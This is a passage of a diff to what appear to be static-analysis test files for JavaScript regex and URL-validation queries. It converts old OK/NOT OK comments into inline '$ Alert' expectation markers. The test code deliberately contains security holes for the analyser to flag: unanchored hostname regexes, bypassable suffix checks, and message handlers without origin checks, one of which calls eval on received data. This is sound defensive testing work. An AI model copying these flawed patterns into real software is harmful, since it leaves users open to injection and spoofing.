+/[\x3f\u003f]/; // $ Alert
+/[aaa]/; // $ Alert
+/[\x0a\x0a]/; // $ Alert
+/[\u000a\n]/; // $ Alert
 /[\u{ff}]/;
-/[\u{12340}-\u{12345}]/u; // OK
-new RegExp("[\u{12340}-\u{12345}]", "u"); // OK
+/[\u{12340}-\u{12345}]/u;
+new RegExp("[\u{12340}-\u{12345}]", "u");
+const regex = /\b(?:https?:\/\/|mailto:|www\.)(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])+|\b[\S--[@\p{Ps}\p{Pe}<>]]+@([\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+)/gmv;
diff --git a/javascript/ql/test/query-tests/RegExp/EmptyCharacterClass/EmptyCharacterClass.qlref b/javascript/ql/test/query-tests/RegExp/EmptyCharacterClass/EmptyCharacterClass.qlref
index 55f7a866513d..d6c8edc76cad 100644
--- a/javascript/ql/test/query-tests/RegExp/EmptyCharacterClass/EmptyCharacterClass.qlref
+++ b/javascript/ql/test/query-tests/RegExp/EmptyCharacterClass/EmptyCharacterClass.qlref
@@ -1 +1,2 @@
-RegExp/EmptyCharacterClass.ql
\ No newline at end of file
+query: RegExp/EmptyCharacterClass.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/RegExp/EmptyCharacterClass/tst.js b/javascript/ql/test/query-tests/RegExp/EmptyCharacterClass/tst.js
index d234847bbe54..b685d92d94f8 100644
--- a/javascript/ql/test/query-tests/RegExp/EmptyCharacterClass/tst.js
+++ b/javascript/ql/test/query-tests/RegExp/EmptyCharacterClass/tst.js
@@ -1,2 +1,2 @@
-/[]/;
+/[]/; // $ Alert
 /[^]/;
diff --git a/javascript/ql/test/query-tests/RegExp/IdentityReplacement/IdentityReplacement.js b/javascript/ql/test/query-tests/RegExp/IdentityReplacement/IdentityReplacement.js
index 7591d00c4411..18e9a4328d90 100644
--- a/javascript/ql/test/query-tests/RegExp/IdentityReplacement/IdentityReplacement.js
+++ b/javascript/ql/test/query-tests/RegExp/IdentityReplacement/IdentityReplacement.js
@@ -1,5 +1,5 @@
-var escaped = raw.replace(/"/g, '\"');
+var escaped = raw.replace(/"/g, '\"'); // $ Alert
 (function() {
 	var indirect = /"/g;
-	raw.replace(indirect, '\"');
+	raw.replace(indirect, '\"'); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/RegExp/IdentityReplacement/IdentityReplacement.qlref b/javascript/ql/test/query-tests/RegExp/IdentityReplacement/IdentityReplacement.qlref
index f8b9c39b11ff..97214a93be45 100644
--- a/javascript/ql/test/query-tests/RegExp/IdentityReplacement/IdentityReplacement.qlref
+++ b/javascript/ql/test/query-tests/RegExp/IdentityReplacement/IdentityReplacement.qlref
@@ -1 +1,2 @@
-RegExp/IdentityReplacement.ql
\ No newline at end of file
+query: RegExp/IdentityReplacement.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/RegExp/IdentityReplacement/tst.js b/javascript/ql/test/query-tests/RegExp/IdentityReplacement/tst.js
index 33325224dbbe..091c8049f193 100644
--- a/javascript/ql/test/query-tests/RegExp/IdentityReplacement/tst.js
+++ b/javascript/ql/test/query-tests/RegExp/IdentityReplacement/tst.js
@@ -1,16 +1,16 @@
-raw.replace("\\", "\\"); // NOT OK
-raw.replace(/(\\)/, "\\"); // NOT OK
-raw.replace(/["]/, "\""); // NOT OK
-raw.replace("\\", "\\\\"); // OK
+raw.replace("\\", "\\"); // $ Alert
+raw.replace(/(\\)/, "\\"); // $ Alert
+raw.replace(/["]/, "\""); // $ Alert
+raw.replace("\\", "\\\\");
 
-raw.replace(/foo/g, 'foo'); // NOT OK
-raw.replace(/foo/gi, 'foo'); // OK
+raw.replace(/foo/g, 'foo'); // $ Alert
+raw.replace(/foo/gi, 'foo');
 
-raw.replace(/^\\/, "\\"); // NOT OK
-raw.replace(/\\$/, "\\"); // NOT OK
-raw.replace(/\b\\/, "\\"); // NOT OK
-raw.replace(/\B\\/, "\\"); // NOT OK
-raw.replace(/\\(?!\\)/, "\\"); // NOT OK
-raw.replace(/(?<!\\)\\/, "\\"); // NOT OK
+raw.replace(/^\\/, "\\"); // $ Alert
+raw.replace(/\\$/, "\\"); // $ Alert
+raw.replace(/\b\\/, "\\"); // $ Alert
+raw.replace(/\B\\/, "\\"); // $ Alert
+raw.replace(/\\(?!\\)/, "\\"); // $ Alert
+raw.replace(/(?<!\\)\\/, "\\"); // $ Alert
 
-raw.replace(/^/, ""); // NOT OK
+raw.replace(/^/, ""); // $ Alert
diff --git a/javascript/ql/test/query-tests/RegExp/MalformedRegExp/MalformedRegExp.qlref b/javascript/ql/test/query-tests/RegExp/MalformedRegExp/MalformedRegExp.qlref
index ff77c9f86705..ef08c66341ff 100644
--- a/javascript/ql/test/query-tests/RegExp/MalformedRegExp/MalformedRegExp.qlref
+++ b/javascript/ql/test/query-tests/RegExp/MalformedRegExp/MalformedRegExp.qlref
@@ -1 +1,2 @@
-RegExp/MalformedRegExp.ql
\ No newline at end of file
+query: RegExp/MalformedRegExp.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/RegExp/MalformedRegExp/tst.js b/javascript/ql/test/query-tests/RegExp/MalformedRegExp/tst.js
index 4bd9c2ad5324..8afd766a391b 100644
--- a/javascript/ql/test/query-tests/RegExp/MalformedRegExp/tst.js
+++ b/javascript/ql/test/query-tests/RegExp/MalformedRegExp/tst.js
@@ -1,7 +1,7 @@
-/a{1/; // OK
+/a{1/;
 
 function f() {
-  return a.replace(/<\!--(?!{cke_protected})[\s\S]+?--\>/g, "foo");
+  return a.replace(/<\!--(?!{cke_protected})[\s\S]+?--\>/g, "foo"); // $ Alert
 }
 
 /\u{ff}/
diff --git a/javascript/ql/test/query-tests/RegExp/RegExpAlwaysMatches/RegExpAlwaysMatches.qlref b/javascript/ql/test/query-tests/RegExp/RegExpAlwaysMatches/RegExpAlwaysMatches.qlref
index acdde814bbcb..a65bb3ab3512 100644
--- a/javascript/ql/test/query-tests/RegExp/RegExpAlwaysMatches/RegExpAlwaysMatches.qlref
+++ b/javascript/ql/test/query-tests/RegExp/RegExpAlwaysMatches/RegExpAlwaysMatches.qlref
@@ -1 +1,2 @@
-RegExp/RegExpAlwaysMatches.ql
\ No newline at end of file
+query: RegExp/RegExpAlwaysMatches.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/RegExp/RegExpAlwaysMatches/tst.js b/javascript/ql/test/query-tests/RegExp/RegExpAlwaysMatches/tst.js
index b4c54be9b8a6..e46442da3432 100644
--- a/javascript/ql/test/query-tests/RegExp/RegExpAlwaysMatches/tst.js
+++ b/javascript/ql/test/query-tests/RegExp/RegExpAlwaysMatches/tst.js
@@ -1,37 +1,37 @@
 function optionalPrefix(x) {
-  return /^(https:)?/.test(x); // NOT OK
+  return /^(https:)?/.test(x); // $ Alert
 }
 
 function mandatoryPrefix(x) {
-  return /^https:/.test(x); // OK
+  return /^https:/.test(x);
 }
 
 function httpOrHttps(x) {
-  return /^https?:/.test(x); // OK
+  return /^https?:/.test(x);
 }
 
 function optionalSuffix(x) {
-  return /(\.com)?$/.test(x); // NOT OK
+  return /(\.com)?$/.test(x); // $ Alert
 }
 
 function mandatorySuffix(x) {
-  return /\.com$/.test(x); // OK
+  return /\.com$/.test(x);
 }
 
 function protocol(x) {
-  return /^(?:https?:|ftp:|file:)?/.test(x); // NOT OK
+  return /^(?:https?:|ftp:|file:)?/.test(x); // $ Alert
 }
 
 function doubleAnchored(x) {
-  return /^(foo|bar)?$/.test(x); // OK
+  return /^(foo|bar)?$/.test(x);
 }
 
 function noAnchor(x) {
-  return /(foo|bar)?/.test(x); // NOT OK
+  return /(foo|bar)?/.test(x); // $ Alert
 }
 
 function altAnchor(x) {
-  return /^foo|bar$|(baz)?/.test(x); // NOT OK
+  return /^foo|bar$|(baz)?/.test(x); // $ Alert
 }
 
 function wildcard(x) {
@@ -43,31 +43,31 @@ function wildcard2(x) {
 }
 
 function emptyAlt(x) {
-  return /^$|foo|bar/.test(x); // OK
+  return /^$|foo|bar/.test(x);
 }
 
 function emptyAlt2(x) {
-  return /(^$|foo|bar)/.test(x); // OK
+  return /(^$|foo|bar)/.test(x);
 }
 
 function emptyAlt3(x) {
-  return /((^$|foo|bar))/.test(x); // OK
+  return /((^$|foo|bar))/.test(x);
 }
 
 function search(x) {
-  return x.search(/[a-z]*/) > -1; // NOT OK
+  return x.search(/[a-z]*/) > -1; // $ Alert
 }
 
 function search2(x) {
-  return x.search(/[a-z]/) > -1; // OK
+  return x.search(/[a-z]/) > -1;
 }
 
 function lookahead(x) {
-  return x.search(/(?!x)/) > -1; // OK
+  return x.search(/(?!x)/) > -1;
 }
 
 function searchPrefix(x) {
-  return x.search(/^(foo)?/) > -1; // NOT OK - `foo?` does not affect the returned index
+  return x.search(/^(foo)?/) > -1; // $ Alert - `foo?` does not affect the returned index
 }
 
 function searchSuffix(x) {
@@ -83,10 +83,10 @@ function nonWordBoundary(x) {
 }
 
 function emptyRegex(x) {
-  return new RegExp("").test(x); // OK
+  return new RegExp("").test(x);
 }
 
 function parserTest(x) {
-  /(\w\s*:\s*[^:}]+|#){|@import[^\n]+(?:url|,)/.test(x); // OK
-  /^((?:a{0,2}|-)|\w\{\d,\d\})+X$/.text(x); // ok
+  /(\w\s*:\s*[^:}]+|#){|@import[^\n]+(?:url|,)/.test(x);
+  /^((?:a{0,2}|-)|\w\{\d,\d\})+X$/.text(x);
 }
diff --git a/javascript/ql/test/query-tests/RegExp/UnboundBackref/UnboundBackref.expected b/javascript/ql/test/query-tests/RegExp/UnboundBackref/UnboundBackref.expected
index d2acad5b7659..69c471955218 100644
--- a/javascript/ql/test/query-tests/RegExp/UnboundBackref/UnboundBackref.expected
+++ b/javascript/ql/test/query-tests/RegExp/UnboundBackref/UnboundBackref.expected
@@ -1,4 +1,4 @@
-| tst.js:4:2:4:3 | \\1 | There is no capture group 1 in this regular expression. |
-| tst.js:8:13:8:14 | \\1 | There is no capture group 1 in this regular expression. |
-| tst.js:15:16:15:17 | \\2 | There is no capture group 2 in this regular expression. |
-| tst.js:16:16:16:29 | \\k<whitespace> | There is no capture group named 'whitespace' in this regular expression. |
+| tst.js:3:2:3:3 | \\1 | There is no capture group 1 in this regular expression. |
+| tst.js:6:13:6:14 | \\1 | There is no capture group 1 in this regular expression. |
+| tst.js:12:16:12:17 | \\2 | There is no capture group 2 in this regular expression. |
+| tst.js:13:16:13:29 | \\k<whitespace> | There is no capture group named 'whitespace' in this regular expression. |
diff --git a/javascript/ql/test/query-tests/RegExp/UnboundBackref/UnboundBackref.qlref b/javascript/ql/test/query-tests/RegExp/UnboundBackref/UnboundBackref.qlref
index bbcc8421a409..c653d8604aa9 100644
--- a/javascript/ql/test/query-tests/RegExp/UnboundBackref/UnboundBackref.qlref
+++ b/javascript/ql/test/query-tests/RegExp/UnboundBackref/UnboundBackref.qlref
@@ -1 +1,2 @@
-RegExp/UnboundBackref.ql
\ No newline at end of file
+query: RegExp/UnboundBackref.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/RegExp/UnboundBackref/tst.js b/javascript/ql/test/query-tests/RegExp/UnboundBackref/tst.js
index 9c5481469151..df5b4144172e 100644
--- a/javascript/ql/test/query-tests/RegExp/UnboundBackref/tst.js
+++ b/javascript/ql/test/query-tests/RegExp/UnboundBackref/tst.js
@@ -1,16 +1,13 @@
-// OK
+
 /\0/;
-// NOT OK
-/\1/;
-// OK
+/\1/; // $ Alert
+
 /^(\s+)\w+\1$/;
-// NOT OK
-/^(?:\s+)\w+\1$/;
-// OK
+/^(?:\s+)\w+\1$/; // $ Alert
+
 /[\1]/;
-// OK
+
 /^(?<ws>\s+)\w+\1$/;
 /^(?<ws>\s+)\w+\k<ws>$/;
-// NOT OK
-/^(?<ws>\s+)\w+\2$/;
-/^(?<ws>\s+)\w+\k<whitespace>$/;
+/^(?<ws>\s+)\w+\2$/; // $ Alert
+/^(?<ws>\s+)\w+\k<whitespace>$/; // $ Alert
diff --git a/javascript/ql/test/query-tests/RegExp/UnmatchableCaret/UnmatchableCaret.expected b/javascript/ql/test/query-tests/RegExp/UnmatchableCaret/UnmatchableCaret.expected
index 2b0eaa5e3a03..d9382b86a625 100644
--- a/javascript/ql/test/query-tests/RegExp/UnmatchableCaret/UnmatchableCaret.expected
+++ b/javascript/ql/test/query-tests/RegExp/UnmatchableCaret/UnmatchableCaret.expected
@@ -1,3 +1,3 @@
-| tst.js:2:4:2:4 | ^ | This assertion can never match. |
-| tst.js:11:5:11:5 | ^ | This assertion can never match. |
-| tst.js:20:5:20:5 | ^ | This assertion can never match. |
+| tst.js:1:4:1:4 | ^ | This assertion can never match. |
+| tst.js:9:5:9:5 | ^ | This assertion can never match. |
+| tst.js:16:5:16:5 | ^ | This assertion can never match. |
diff --git a/javascript/ql/test/query-tests/RegExp/UnmatchableCaret/UnmatchableCaret.qlref b/javascript/ql/test/query-tests/RegExp/UnmatchableCaret/UnmatchableCaret.qlref
index 13297fa2c9be..ee3a5c95eebf 100644
--- a/javascript/ql/test/query-tests/RegExp/UnmatchableCaret/UnmatchableCaret.qlref
+++ b/javascript/ql/test/query-tests/RegExp/UnmatchableCaret/UnmatchableCaret.qlref
@@ -1 +1,2 @@
-RegExp/UnmatchableCaret.ql
\ No newline at end of file
+query: RegExp/UnmatchableCaret.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/RegExp/UnmatchableCaret/tst.js b/javascript/ql/test/query-tests/RegExp/UnmatchableCaret/tst.js
index 50d70094dd64..b35bd4172385 100644
--- a/javascript/ql/test/query-tests/RegExp/UnmatchableCaret/tst.js
+++ b/javascript/ql/test/query-tests/RegExp/UnmatchableCaret/tst.js
@@ -1,32 +1,28 @@
-// NOT OK
-/\[^(.css$)]/;
+/\[^(.css$)]/; // $ Alert
+
 
-// OK
 /(a|^b)c/;
 
-// OK
+
 /a*(^b|c)/;
 
-// NOT OK
-/a\n^b/;
+/a\n^b/; // $ Alert
+
 
-// OK
 /a\n^b/m;
 
-// NOT OK, but not recognised
-/a\\n^b/m;
+/a\\n^b/m; // $ MISSING: Alert
+
+/ab*^c/; // $ Alert
 
-// NOT OK
-/ab*^c/;
 
-// OK
 /^^abc/;
 
-// OK
+
 /^(^y|^z)(u$|v$)$/;
 
-// OK
+
 /x*^y/;
 
-// OK
+
 /(?<=(^|\/)(\.|\.\.))$/;
diff --git a/javascript/ql/test/query-tests/RegExp/UnmatchableDollar/UnmatchableDollar.expected b/javascript/ql/test/query-tests/RegExp/UnmatchableDollar/UnmatchableDollar.expected
index 6e57f22c18a7..a380a81c2744 100644
--- a/javascript/ql/test/query-tests/RegExp/UnmatchableDollar/UnmatchableDollar.expected
+++ b/javascript/ql/test/query-tests/RegExp/UnmatchableDollar/UnmatchableDollar.expected
@@ -1,4 +1,4 @@
-| tst.js:2:10:2:10 | $ | This assertion can never match. |
-| tst.js:11:3:11:3 | $ | This assertion can never match. |
-| tst.js:20:3:20:3 | $ | This assertion can never match. |
-| tst.js:38:6:38:6 | $ | This assertion can never match. |
+| tst.js:1:10:1:10 | $ | This assertion can never match. |
+| tst.js:9:3:9:3 | $ | This assertion can never match. |
+| tst.js:16:3:16:3 | $ | This assertion can never match. |
+| tst.js:33:6:33:6 | $ | This assertion can never match. |
diff --git a/javascript/ql/test/query-tests/RegExp/UnmatchableDollar/UnmatchableDollar.qlref b/javascript/ql/test/query-tests/RegExp/UnmatchableDollar/UnmatchableDollar.qlref
index f6798fd1ffa1..c79d650f18e1 100644
--- a/javascript/ql/test/query-tests/RegExp/UnmatchableDollar/UnmatchableDollar.qlref
+++ b/javascript/ql/test/query-tests/RegExp/UnmatchableDollar/UnmatchableDollar.qlref
@@ -1 +1,2 @@
-RegExp/UnmatchableDollar.ql
\ No newline at end of file
+query: RegExp/UnmatchableDollar.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/RegExp/UnmatchableDollar/tst.js b/javascript/ql/test/query-tests/RegExp/UnmatchableDollar/tst.js
index 95708b3cd0ed..86da692cea84 100644
--- a/javascript/ql/test/query-tests/RegExp/UnmatchableDollar/tst.js
+++ b/javascript/ql/test/query-tests/RegExp/UnmatchableDollar/tst.js
@@ -1,38 +1,33 @@
-// NOT OK
-/\[^(.css$)]/;
+/\[^(.css$)]/; // $ Alert
+
 
-// OK
 /a(b$|c)/;
 
-// OK
+
 /(a|b$)c*/;
 
-// NOT OK
-/a$\nb/;
+/a$\nb/; // $ Alert
+
 
-// OK
 /a$\nb/m;
 
-// NOT OK, but not recognised
-/a$\\nb/m;
+/a$\\nb/m; // $ MISSING: Alert
+
+/a$b*c/; // $ Alert
 
-// NOT OK
-/a$b*c/;
 
-// OK
 /^(^y|^z)(u$|v$)$/;
 
-// OK
+
 /.*x$$$/;
 
-// OK
+
 /x$y*/;
 
-// OK
+
 /x(?!y+$).*y.*/;
 
-// OK
+
 /x(?=[yz]+$).*yz.*/;
 
-// NOT OK
-/(?<=$x)yz/;
+/(?<=$x)yz/; // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.js b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.js
index 320175ab1d42..ae0447f132fd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.js
+++ b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.js
@@ -44,7 +44,7 @@
 	/^https:\/\/[a-z]*.example.com$/; // $ Alert
 	RegExp('^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)'); // $ Alert
 
-	/^(example.dev|example.com)/; // OK
+	/^(example.dev|example.com)/;
 
 	new RegExp('^http://localhost:8000|' + '^https?://.+.example\\.com/'); // $ Alert
 
@@ -55,8 +55,8 @@
 
 	new RegExp('^http://test\.example.com'); // $ Alert
 
-	/^http:\/\/(..|...)\.example\.com\/index\.html/; // OK, wildcards are intentional
-	/^http:\/\/.\.example\.com\/index\.html/; // OK, the wildcard is intentional
+	/^http:\/\/(..|...)\.example\.com\/index\.html/; // OK - wildcards are intentional
+	/^http:\/\/.\.example\.com\/index\.html/; // OK - the wildcard is intentional
 	/^(foo.example\.com|whatever)$/; // $ Alert (but kinda OK - one disjunction doesn't even look like a hostname)
 
 	if (s.matchAll("^http://test.example.com")) {} // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.js b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.js
index a4c6ed190f8f..964b9d23b0e9 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.js
+++ b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.js
@@ -41,7 +41,7 @@ function test5(url) {
 
 function test6(url) {
     let protocol = new URL(url).protocol;
-    if (badProtocolsGood.includes(protocol)) // OK
+    if (badProtocolsGood.includes(protocol))
         return "about:blank";
     return url;
 }
@@ -113,7 +113,7 @@ function chain1(url) {
 }
 
 function chain2(url) {
-    return url  // OK
+    return url
         .replace(/javascript:/, "")
         .replace(/data:/, "")
         .replace(/vbscript:/, "");
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.js b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.js
index f719a0835a6d..61d4006886bc 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.js
+++ b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.js
@@ -40,8 +40,8 @@
     x.indexOf("index.php") !== -1;
     x.indexOf("index.css") !== -1;
 
-    x.indexOf("secure=true") !== -1; // OK (query param)
-    x.indexOf("&auth=") !== -1; // OK (query param)
+    x.indexOf("secure=true") !== -1; // OK - query param
+    x.indexOf("&auth=") !== -1; // OK - query param
 
     x.indexOf(getCurrentDomain()) !== -1; // $ MISSING: Alert
     x.indexOf(location.origin) !== -1; // $ MISSING: Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/IncorrectSuffixCheck.qlref b/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/IncorrectSuffixCheck.qlref
index f9eb315d150f..04e603e63d42 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/IncorrectSuffixCheck.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/IncorrectSuffixCheck.qlref
@@ -1 +1,2 @@
-Security/CWE-020/IncorrectSuffixCheck.ql
+query: Security/CWE-020/IncorrectSuffixCheck.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/examples/IncorrectSuffixCheck.js b/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/examples/IncorrectSuffixCheck.js
index 0b60fec15383..55e9a7d37611 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/examples/IncorrectSuffixCheck.js
+++ b/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/examples/IncorrectSuffixCheck.js
@@ -1,3 +1,3 @@
 function endsWith(x, y) {
-  return x.lastIndexOf(y) === x.length - y.length;
+  return x.lastIndexOf(y) === x.length - y.length; // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/tst.js b/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/tst.js
index f50c014b1853..bd9ef71514b5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/tst.js
@@ -1,70 +1,70 @@
 function endsWith(x, y) {
-  return x.indexOf(y) === x.length - y.length; // NOT OK
+  return x.indexOf(y) === x.length - y.length; // $ Alert
 }
 function endsWithGood(x, y) {
-  return x.length >= y.length && x.indexOf(y) === x.length - y.length; // OK
+  return x.length >= y.length && x.indexOf(y) === x.length - y.length;
 }
 
 function withStringConcat(x, y) {
-  return x.indexOf("/" + y) === x.length - y.length - 1; // NOT OK
+  return x.indexOf("/" + y) === x.length - y.length - 1; // $ Alert
 }
 function withStringConcatGood(x, y) {
-  return x.length > y.length && x.indexOf("/" + y) === x.length - y.length - 1; // OK
+  return x.length > y.length && x.indexOf("/" + y) === x.length - y.length - 1;
 }
 
 function withDelta(x, y) {
   let delta = x.length - y.length;
-  return x.indexOf(y) === delta; // NOT OK
+  return x.indexOf(y) === delta; // $ Alert
 }
 function withDeltaGood(x, y) {
   let delta = x.length - y.length;
-  return delta >= 0 && x.indexOf(y) === delta; // OK
+  return delta >= 0 && x.indexOf(y) === delta;
 }
 
 function literal(x) {
-  return x.indexOf("example.com") === x.length - "example.com".length; // NOT OK
+  return x.indexOf("example.com") === x.length - "example.com".length; // $ Alert
 }
 function literalGood(x) {
   return x.length >= "example.com".length && x.indexOf("example.com") === x.length - "example.com".length;
 }
 
 function intLiteral(x) {
-  return x.indexOf("example.com") === x.length - 11; // NOT OK
+  return x.indexOf("example.com") === x.length - 11; // $ Alert
 }
 function intLiteralGood(x) {
   return x.length >= 11 && x.indexOf("example.com") === x.length - 11;
 }
 
 function lastIndexOf(x, y) {
-  return x.lastIndexOf(y) === x.length - y.length; // NOT OK
+  return x.lastIndexOf(y) === x.length - y.length; // $ Alert
 }
 function lastIndexOfGood(x, y) {
-  return x.length >= y.length && x.lastIndexOf(y) === x.length - y.length; // OK
+  return x.length >= y.length && x.lastIndexOf(y) === x.length - y.length;
 }
 
 function withIndexOfCheckGood(x, y) {
   let index = x.indexOf(y);
-  return index !== -1 && index === x.length - y.length - 1; // OK
+  return index !== -1 && index === x.length - y.length - 1;
 }
 
 function indexOfCheckEquality(x, y) {
-  return x.indexOf(y) !== -1 && x.indexOf(y) === x.length - y.length - 1; // OK
+  return x.indexOf(y) !== -1 && x.indexOf(y) === x.length - y.length - 1;
 }
 
 function indexOfCheckEqualityBad(x, y) {
-  return x.indexOf(y) !== 0 && x.indexOf(y) === x.length - y.length - 1; // NOT OK
+  return x.indexOf(y) !== 0 && x.indexOf(y) === x.length - y.length - 1; // $ Alert
 }
 
 function indexOfCheckGood(x, y) {
-  return x.indexOf(y) >= 0 && x.indexOf(y) === x.length - y.length - 1; // OK
+  return x.indexOf(y) >= 0 && x.indexOf(y) === x.length - y.length - 1;
 }
 
 function indexOfCheckGoodSharp(x, y) {
-  return x.indexOf(y) > -1 && x.indexOf(y) === x.length - y.length - 1; // OK
+  return x.indexOf(y) > -1 && x.indexOf(y) === x.length - y.length - 1;
 }
 
 function indexOfCheckBad(x, y) {
-  return x.indexOf(y) >= -1 && x.indexOf(y) === x.length - y.length - 1; // NOT OK
+  return x.indexOf(y) >= -1 && x.indexOf(y) === x.length - y.length - 1; // $ Alert
 }
 
 function endsWithSlash(x) {
@@ -73,39 +73,39 @@ function endsWithSlash(x) {
 
 function withIndexOfCheckBad(x, y) {
   let index = x.indexOf(y);
-  return index !== 0 && index === x.length - y.length - 1; // NOT OK
+  return index !== 0 && index === x.length - y.length - 1; // $ Alert
 }
 
 function plus(x, y) {
-  return x.indexOf("." + y) === x.length - (y.length + 1); // NOT OK
+  return x.indexOf("." + y) === x.length - (y.length + 1); // $ Alert
 }
 
 function withIndexOfCheckLower(x, y) {
   let index = x.indexOf(y);
-  return !(index < 0) && index === x.length - y.length - 1; // OK
+  return !(index < 0) && index === x.length - y.length - 1;
 }
 
 function withIndexOfCheckLowerEq(x, y) {
   let index = x.indexOf(y);
-  return !(index <= -1) && index === x.length - y.length - 1; // OK
+  return !(index <= -1) && index === x.length - y.length - 1;
 }
 
 function lastIndexNeqMinusOne(x) {
-  return x.lastIndexOf("example.com") !== -1 && x.lastIndexOf("example.com") === x.length - "example.com".length; // OK
+  return x.lastIndexOf("example.com") !== -1 && x.lastIndexOf("example.com") === x.length - "example.com".length;
 }
 
 function lastIndexEqMinusOne(x) {
-  return x.lastIndexOf("example.com") === -1 || x.lastIndexOf("example.com") === x.length - "example.com".length; // OK
+  return x.lastIndexOf("example.com") === -1 || x.lastIndexOf("example.com") === x.length - "example.com".length;
 }
 
 function sameCheck(allowedOrigin) {
     const trustedAuthority = "example.com";
 
     const ind = trustedAuthority.indexOf("." + allowedOrigin);
-    return ind > 0 && ind === trustedAuthority.length - allowedOrigin.length - 1; // OK
+    return ind > 0 && ind === trustedAuthority.length - allowedOrigin.length - 1;
 }
 
 function sameConcatenation(allowedOrigin) {
     const trustedAuthority = "example.com";
-    return trustedAuthority.indexOf("." + allowedOrigin) > 0 && trustedAuthority.indexOf("." + allowedOrigin) === trustedAuthority.length - allowedOrigin.length - 1; // OK
+    return trustedAuthority.indexOf("." + allowedOrigin) > 0 && trustedAuthority.indexOf("." + allowedOrigin) === trustedAuthority.length - allowedOrigin.length - 1;
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/MissingOriginCheck.qlref b/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/MissingOriginCheck.qlref
index 02296c134e1a..bd895fa2e47e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/MissingOriginCheck.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/MissingOriginCheck.qlref
@@ -1 +1,2 @@
-Security/CWE-020/MissingOriginCheck.ql
\ No newline at end of file
+query: Security/CWE-020/MissingOriginCheck.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/tst.js b/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/tst.js
index 6e5c0ce6a14a..8d6af30f773b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/tst.js
@@ -8,7 +8,7 @@ window.onmessage = event => { // OK - good origin check
     eval(event.data);
 }
 
-window.onmessage = event => { // NOT OK - no origin check
+window.onmessage = event => { // $ Alert - no origin check
     let origin = event.origin.toLowerCase();
 
     console.log(origin);
@@ -21,7 +21,7 @@ window.onmessage = event => { // OK - there is an origin check
     }
 }
 
-self.onmessage = function(e) { // NOT OK
+self.onmessage = function(e) { // $ Alert
     Commands[e.data.cmd].apply(null, e.data.args);
 };
 
@@ -37,7 +37,7 @@ window.onmessage = event => { // OK - there is an origin check
     }
 }
 
-self.onmessage = function(e) { // NOT OK
+self.onmessage = function(e) { // $ Alert
     Commands[e.data.cmd].apply(null, e.data.args);
 };
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref b/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref
index 5860f4b3a82a..a762ad6f8385 100644
